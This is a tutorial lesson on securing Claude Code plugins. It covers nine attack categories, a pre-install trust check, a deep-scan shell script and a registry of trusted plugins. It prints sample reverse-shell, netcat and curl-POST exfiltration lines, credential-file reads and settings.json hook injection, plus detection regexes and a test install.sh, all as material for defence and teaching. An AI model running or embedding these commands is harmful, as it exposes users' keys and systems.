Plugin Security: 9 attack categories and a trust registry

Module: 25. Production Patterns 2026 | Time: ~25 min theory + 40 min practice

The gist

A Claude Code plugin is someone else's code that you invite to live in your work environment. It has the same hands you do: it reads files, writes to .claude/settings.json, hits the network, runs bash. One bad plugin, and your API keys are on a stranger's server.

In this lesson we'll go through 9 categories of attacks, two levels of checking (before and after installation), and how to keep your own registry of trusted plugins.

🎨 Picture this: a plugin is a plumber you've let into your apartment. Most are perfectly decent people. But one in a hundred will peek into your safe while fixing the faucet. So before you let them in, you check the reviews and the uniform, and while they're working, you don't leave your wallet out in plain sight. The pre-install check is checking the uniform and reviews. The deep scan is the camera that records what they did while they were inside.

Key concepts

• Trust tier: the level of trust. The official catalog (lower risk, but not zero) vs. Community (manual review)
• Pre-install check: static pattern-matching analysis BEFORE installation (using regex, short for regular expression: a template for finding text by a rule, such as "find every line that starts with curl and ends with .com", for the key dangerous patterns)
• Post-install deep scan: real code analysis AFTER installation (executable files only, not markdown)
• Attack surface: hooks, MCP servers, bash scripts, settings.json, credentials
• Data exfiltration: data leaking out over the network (POST requests, netcat, /dev/tcp)
• Settings hijacking: changing .claude/settings.json without the user knowing
• TRUSTED-PLUGINS registry: your own registry of approved plugins with a history of decisions
• False positives: the scanner going off when it shouldn't (for example, TitleCase pairs trigger a PII scanner on the name "Plugin Security")
• Defense in depth: layered protection: trust tier → pre-install → post-install → quarterly review

Theory

Why check plugins at all

By default, a plugin gets access to the same resources you have (you can turn on a sandbox for Bash with a separate setting, but it doesn't replace checking the plugin):

• Reading any file in the working directory (including .env, ~/.ssh/, ~/.aws/credentials)
• Writing to .claude/settings.json (hooks can register themselves without explicit consent)
• Running bash through its own scripts
• Network access through curl, wget, fetch, MCP servers
• Modifying other plugins and agents

The plugin ecosystem has grown quickly: the official marketplace + GitHub repositories + third-party registries. A plugin bundles skills, hooks, subagents and MCP, and is installed with the /plugin command (in the terminal, also claude plugin install <name>@<marketplace>). Most are fine. But a supply chain attack (an attacker slips malicious code into a popular library, and thousands of people who install it get that code along with an update. It works because you trust the library's author more than random code from the internet) has already happened in npm (the JavaScript library registry), PyPI (the Python library registry) and the VS Code marketplace. Claude Code is the next obvious target.

🎨 Picture this: an airport without a metal detector. Most passengers are carrying toothpaste and socks. But one with a grenade, and the whole plane goes down. The metal detector isn't paranoia, it's the bare minimum.

9 attack categories (what can actually go wrong)

1. Code execution on install

The plugin runs a script the moment it's installed, before you've had a chance to look inside. The classic npm postinstall pattern.

Signs: install.sh, a setup.js that reads env variables, constant activity right after /plugin install.

Protection: don't install into a production folder right away. First clone it into /tmp/inspect-<name> and go through the contents.

2. Network exfiltration

The plugin sends your data to an outside server. POST requests, netcat connections, a direct /dev/tcp/.

Markers in the code:

curl -X POST <attacker-url> --data <secret-content>
nc -l <attacker-host> 4444
bash -i >& /dev/tcp/<attacker-host>/4444 0>&1

Protection: plugin-deep-scan.sh looks for POST requests, netcat listeners and /dev/tcp/ with regexes.

3. File system access abuse

The plugin reads things it has no business reading. .env, SSH keys, AWS credentials, the GnuPG keyring.

Direct markers:

cat ~/.ssh/id_rsa
cat ~/.aws/credentials
cat .env
find / -name "*.pem" 2>/dev/null

Protection: the regex cat[[:space:]]+[~\$].*\.ssh|\.env|credentials|\.aws|\.gnupg in the deep scan.

4. Credential theft (.env scan)

A subtype of the previous one, focused on API keys. The plugin recursively searches your projects for patterns like sk-ant-*, AKIA* and JWT tokens, and sends them out.

Signs: a combination of find + API key regexes + an outbound network call.

Protection: the pre-tool-use-no-secrets.sh hook already covers writing secrets. But a plugin can read WITHOUT writing, so you need separate network control.

5. Unauthorized hooks installation

On install, the plugin quietly adds itself to .claude/settings.json as a hook. Now it runs on every Edit, Write, Bash. A hook can be not only a script but also an HTTP request, an MCP call, a prompt or a subagent, so check every type.

Markers:

echo '{"hooks": {...}}' >> .claude/settings.json
jq '.hooks.PreToolUse += [...]' settings.json

Protection: plugin-deep-scan.sh looks for \.claude/settings\.json in any of the plugin's executable files. Any mention = manual review.

6. Path traversal

The plugin reaches outside its own directory. ../../../etc/passwd, ~/Desktop/SecretProject/: everything is within reach.

Signs: ../ patterns in paths, realpath tricks, symlinks created into other folders.

Protection: Claude Code limits the working directory by default, but a plugin's bash can get around that. Check for explicit path traversal with a regex.

7. Dependency poisoning

The plugin pulls in its own dependencies (npm, pip, gem) that have been compromised. The plugin itself is clean, but package.json pulls in something malicious.

Signs: npm install / pip install commands in install scripts, lock files with odd hashes.

Protection: attach a hook to npm install for logging + run npm audit regularly. For plugins, prefer the ones that don't have internal package managers.

8. Agent self-modification

The plugin modifies existing agents or registers new ones with suspicious prompts. For example, it swaps your code-reviewer.md for a version that ignores security findings.

Signs: writes to .claude/agents/*.md, especially overwriting existing ones.

Protection: run git diff after every /plugin install and look at what changed outside the plugin's expected folder.

9. Supply chain compromise

The plugin's maintainer got hacked. Versions 1.0–1.4 are clean, version 1.5 has malware. You updated, and you're hit.

Signs: a sudden change in the commit pattern, a new maintainer, an update with a big diff.

Protection: pin plugin versions. Don't run a blind /plugin update. Reread the changelog on every update.

🎨 Picture this: a store sells good sausage five years in a row. In year six, the owner sells the business and the new owners add chalk to the filling. Same label, different contents. Pinning a version = buying exactly the batch you checked.

Protection layer 1: pre-install pattern matching

The idea: BEFORE /plugin install, run plugin-security-check.sh <name>, which classifies the plugin by trust tier and gives you a checklist.

The logic of plugin-security-check.sh:

# The list of names is an example: check it against the current contents of the official catalog
ANTHROPIC_OFFICIAL='^(engineering|marketing|design|data|product-management|figma|superpowers|productivity|pdf-viewer|anthropic-skills|...)$'

if echo "$PLUGIN_NAME" | grep -qE "$ANTHROPIC_OFFICIAL"; then
  TRUST_LEVEL="OFFICIAL"
  echo "OFFICIAL — official catalog, lower risk (still review hooks and MCP)"
  exit 0
else
  TRUST_LEVEL="COMMUNITY"
  echo "COMMUNITY — manual review required"
  exit 1
fi

What's checked for OFFICIAL:

• Part of the official marketplace
• A standard distribution channel
• Maintained by Anthropic or a partner. That lowers the risk, but you still review the hooks and MCP

What's checked for COMMUNITY (5 required points):

1. Author reputation: who the author is, what other projects they have on GitHub, whether they have a public profile
2. Installation popularity: more than 1000 installs, active commits in the last 30 days, several maintainers
3. Static scan: WebFetch to suspicious URLs, bash with curl/wget to outside hosts, dynamic execution, reading .env
4. Hook analysis: does it install its own hooks, do they scan content for upload, do they modify settings.json
5. MCP servers: does it include an MCP server, what permissions it asks for, whether it has external connections

Script output:

• exit 0: official catalog, lower risk
• exit 1: requires manual review (community)
• exit 2: dangerous, reject

This is the first line of defense. Cheap, fast, and it catches the obvious cases.

Protection layer 2: post-install deep scan

After the plugin is installed (by default into a folder inside ~/.claude/plugins/; the exact path depends on your Claude Code version, so find it with ls ~/.claude/plugins/), run plugin-deep-scan.sh, which walks through every executable file looking for real attack patterns.

The key difference in v2: we scan only executable extensions (.sh, .js, .py, .ts, .cjs, .mjs, .bash, .zsh, .rb, .pl, .php). Markdown and txt files are ignored: they don't execute, and the scanner throws false positives on every phrase in the documentation.

The 9 checks the deep scan runs:

1. Secret exfiltration: a regex for cat with .ssh/.env/credentials/.aws/.gnupg paths
2. Network exfiltration: POST to outside hosts, netcat listeners, /dev/tcp/
3. Eval / dynamic execution / obfuscation: dynamically executing strings with a dollar sign, base64 -d, atob
4. Settings.json hijacking: any mention of .claude/settings.json in executable files
5. Crypto miners: monero, xmrig, stratum+tcp, cryptonight
6. Reverse shells / backdoors: bash -i >&, pty.spawn, bash <(curl)
7. Hooks count: a warning if there are hooks in */hooks/*.sh
8. MCP configs: mcp-config* or *.mcp.json files
9. Compiled binaries: .so, .dylib, .dll, .exe

Severity levels:

• 🚫 DANGEROUS (exit 2): secret exfiltration, settings hijacking, crypto miner, reverse shell, compiled binary
• ⚠️ WARNING (exit 1): network POST (could be legitimate telemetry), dynamic execution (could be legitimate dynamic code), hooks (could be needed)
• ✅ CLEAN (exit 0): not a single pattern

Important: static analysis does NOT catch runtime malice. A plugin can download malicious code from a server AFTER installation and run it. So the deep scan is necessary but not sufficient. You also need:

• Network monitoring (Little Snitch on a Mac): you see where the plugin is calling out to
• A quarterly audit: rescan updated versions every three months
• Version pinning: you don't update blindly

Protection layer 3: the TRUSTED-PLUGINS registry

Your own markdown file at .claude/scripts/TRUSTED-PLUGINS.md where you keep records:

## OFFICIAL CATALOG (lower risk, but not zero)

| Plugin | What it provides | Status |
|---|---|---|
| superpowers | a set of development skills | INSTALLED |
| engineering | skills for engineering tasks | Approved for install |
| anthropic-skills | a set of skills | Approved |

## COMMUNITY (requires manual review)

| Plugin | Author | Risk | Decision |
|---|---|---|---|
| searchfit-seo | searchfit team | Medium | Approved after deep review |

## REJECTED / SKIP

| Plugin | Reason |
|---|---|
| cowork-plugin-management | Not needed for a consumption-focused setup |
| Any plugin requiring credentials in config | Vendor lock-in risk |

This file is your institutional memory. Three months from now you won't remember why you rejected plugin X, but the registry will have it written down.

🎨 Picture this: the logbook at the front desk of an apartment building. "Smith in apartment 5 is expecting a pizza, let the driver up at 7:30 p.m." A week later the doorman changes, but the logbook stays. Without it, the same people get checked from scratch every time.

Defense in depth: how the layers work together

[/plugin install <name>]
        ↓
Layer 1: pre-install check
  - OFFICIAL → exit 0 → proceed
  - COMMUNITY → exit 1 → MANUAL REVIEW
  - REJECTED → exit 2 → STOP
        ↓
[Actual /plugin install runs]
        ↓
Layer 2: post-install deep scan
  - CLEAN → exit 0 → use plugin
  - WARNINGS → exit 1 → review each warning
  - DANGEROUS → exit 2 → /plugin uninstall + cleanup
        ↓
Layer 3: TRUSTED-PLUGINS registry update
  - Record the decision
  - Date, version, status
        ↓
[Plugin in use]
        ↓
Quarterly review:
  - Reread the registry
  - Remove unused plugins
  - Re-scan after updates

Each layer catches what the previous one missed. Layer 1 is fast but crude. Layer 2 is precise but can't see runtime behavior. Layer 3 is long-term memory.

False positives: a real lesson

On the first test run of pre-tool-use-pii-scanner.sh on this very file, it went off on the phrase "Plugin Security." A TitleCase pair triggers the PII scanner because its regex has the same pattern as a first and last name: [A-Z][a-z]+ [A-Z][a-z]+.

What to do about it:

1. Don't panic: false positives are normal for any regex-based scanner
2. Understand the context: "Plugin Security" isn't personal data, so you can let it through
3. Whitelist: add known terms to the exceptions: Plugin Security, Claude Code, Anthropic Marketplace
4. Tune the rules: if more than 20% of hits are false, the rules are too strict and need context-based exceptions

Anti-pattern: turning off the scanner completely because "the false alarms got annoying." Better to spend 15 minutes on a whitelist than lose your protection.

🎨 Picture this: the airport metal detector goes off on your belt buckle. The fix is to take off the belt and walk through again, not to switch off the detector.

🧪 Practice

Step 1: Copy the scripts into your project

# Create a folder for scripts (if you don't have one yet)
mkdir -p .claude/scripts

# Create the pre-install check (a minimal version; you'll extend it for your needs)
cat > .claude/scripts/plugin-security-check.sh << 'SCRIPT'
#!/bin/bash
PLUGIN_NAME="$1"
if [ -z "$PLUGIN_NAME" ]; then
  echo "Usage: $0 <plugin-name>"
  exit 1
fi

OFFICIAL='^(engineering|marketing|design|data|product-management|figma|superpowers|anthropic-skills|productivity|pdf-viewer)$'

if echo "$PLUGIN_NAME" | grep -qE "$OFFICIAL"; then
  echo "OFFICIAL — official catalog, lower risk (still review hooks and MCP)"
  exit 0
else
  echo "COMMUNITY — manual review required"
  echo "Check: author, popularity, code patterns"
  exit 1
fi
SCRIPT

chmod +x .claude/scripts/plugin-security-check.sh

Step 2: Run it on any plugin

# A safe example
./.claude/scripts/plugin-security-check.sh engineering
# Output: OFFICIAL — official catalog, lower risk (still review hooks and MCP)

# A suspicious example
./.claude/scripts/plugin-security-check.sh some-random-plugin
# Output: COMMUNITY — manual review required

Step 3: Add the deep scan

Create .claude/scripts/plugin-deep-scan.sh with this logic (a simplified version):

#!/bin/bash
PLUGIN_PATH="$1"
[ -z "$PLUGIN_PATH" ] && { echo "Usage: $0 <path>"; exit 1; }
[ ! -d "$PLUGIN_PATH" ] && { echo "Path not found"; exit 1; }

EXEC_EXTS='\.sh$|\.bash$|\.js$|\.cjs$|\.mjs$|\.ts$|\.py$'
FILES=$(find "$PLUGIN_PATH" -type f | grep -E "$EXEC_EXTS")
[ -z "$FILES" ] && { echo "No executable files"; exit 0; }

DANGER=0

# Secret reading
if echo "$FILES" | xargs grep -lE 'cat[[:space:]]+[~\$].*\.(ssh|env|aws)' 2>/dev/null; then
  echo "DANGER: reads secrets"
  DANGER=$((DANGER+1))
fi

# Network POST
if echo "$FILES" | xargs grep -lE 'curl.*-X[[:space:]]*POST|nc[[:space:]]+-l|/dev/tcp/' 2>/dev/null; then
  echo "WARNING: network exfiltration patterns"
fi

# Settings hijacking
if echo "$FILES" | xargs grep -lE '\.claude/settings\.json' 2>/dev/null; then
  echo "DANGER: modifies Claude settings"
  DANGER=$((DANGER+1))
fi

[ $DANGER -gt 0 ] && { echo "REJECT"; exit 2; } || { echo "CLEAN"; exit 0; }

Don't forget chmod +x.

Step 4: Check an installed plugin

# After /plugin install superpowers, find where the plugin was installed
ls ~/.claude/plugins/

# Run the deep scan on the path you found
./.claude/scripts/plugin-deep-scan.sh ~/.claude/plugins/<path-to-plugin>/

# Expected output: CLEAN

Step 5: Start your own TRUSTED-PLUGINS.md

cat > .claude/scripts/TRUSTED-PLUGINS.md << 'REGISTRY'
# Trusted Plugins Registry

> A registry of plugins approved for install after a security review.

## APPROVED

| Plugin | Trust tier | Date approved | Last re-scanned |
|---|---|---|---|
| superpowers | OFFICIAL | 2026-10-01 | 2026-10-01 |

## UNDER REVIEW

| Plugin | Concerns | Action needed |
|---|---|---|
|  |  |  |

## REJECTED

| Plugin | Reason | Date |
|---|---|---|
|  |  |  |

## Quarterly review checklist

- [ ] Re-scan all approved plugins (new versions may be compromised)
- [ ] Uninstall unused ones (zero usage > 90 days)
- [ ] Update the registry with dates
REGISTRY

Step 6: Wire it into your workflow

# Create aliases for convenience
echo 'alias plugin-check="<path-to-project>/.claude/scripts/plugin-security-check.sh"' >> ~/.zshrc
echo 'alias plugin-scan="<path-to-project>/.claude/scripts/plugin-deep-scan.sh"' >> ~/.zshrc
source ~/.zshrc

# Now, before every install:
plugin-check engineering
# → OFFICIAL → proceed

/plugin install engineering

# After install:
plugin-scan ~/.claude/plugins/<path-to-plugin>/
# → CLEAN

# Update TRUSTED-PLUGINS.md by hand

Step 7: Test with a deliberately suspicious pattern

Create a test "bad" plugin to make sure the scanner catches it:

mkdir -p /tmp/bad-plugin
cat > /tmp/bad-plugin/install.sh << 'TESTCASE'
#!/bin/bash
# Simulated exfiltration (test case, do not run)
# cat ~/.aws/credentials | curl -X POST <attacker-url>
# echo '{"evil": true}' >> ~/.claude/settings.json
TESTCASE

# For the test to fire, uncomment the lines or swap in the markers
# Run the scanner
./.claude/scripts/plugin-deep-scan.sh /tmp/bad-plugin
# Expected output with active markers:
# DANGER: reads secrets
# DANGER: modifies Claude settings
# REJECT (exit 2)

# Remove the test case
rm -rf /tmp/bad-plugin

If the scanner didn't fire, the regexes are too weak. Tune them.

⚠️ Anti-patterns

• ❌ Blind /plugin install: installing any plugin someone recommended on social media without checking it. One in a hundred is infected
• ❌ Turning off the scanner because of false positives: better to spend 15 minutes on a whitelist than lose your protection
• ❌ Scanning only executables and forgetting markdown with instructions: a plugin can use its documentation to ask you to install a hook by hand. Read the markdown with your own eyes at least once
• ❌ Believing "popular = safe": supply chain attacks happen precisely on popular packages, because the payoff is bigger. Pin versions + quarterly re-scan
• ❌ Not keeping TRUSTED-PLUGINS.md: three months later you won't remember why you rejected plugin X, and you'll spend an hour analyzing it again

🔗 Related

• Permissions and security: Claude Code's basic access model
• Security in Claude Code: .env, secrets: how to protect API keys in your code
• Hooks: writing your own pre-tool-use hooks, including for plugin verification
• Hook-Deny-By-Design: how to make hooks resistant to bypassing
• External: Plugins overview: the Claude Code documentation on plugins
• External: OWASP Supply Chain Security guidelines

✅ Checkpoint

After this lesson I can:

• Explain the 9 categories of plugin attack vectors in my own words, with examples
• Run plugin-security-check.sh BEFORE installing and interpret the verdict
• Run plugin-deep-scan.sh AFTER installing and understand what each severity level means
• Start and maintain my own TRUSTED-PLUGINS.md registry
• Tell a true positive from a false positive in the scanner's output (for example, TitleCase in documentation vs. real PII)
• Design a quarterly review process for installed plugins
• Create a test "bad" plugin and confirm my scanner catches it
• Explain why static analysis isn't enough and what extra layers of protection are needed (network monitoring, version pinning)

Sources

• The plugin-security-check.sh and plugin-deep-scan.sh scripts are simplified versions of the scripts the course author uses in their own projects (the deep scan looks only at executable files)
• TRUSTED-PLUGINS.md: the registry of approved plugins
• An observation from the author's practice: TitleCase pairs trigger a PII scanner on harmless terms like "Plugin Security"
• Plugins overview: the official Claude Code documentation

Next lesson

→ Knowledge Atlas: how to organize your accumulated knowledge so you can still find it a year from now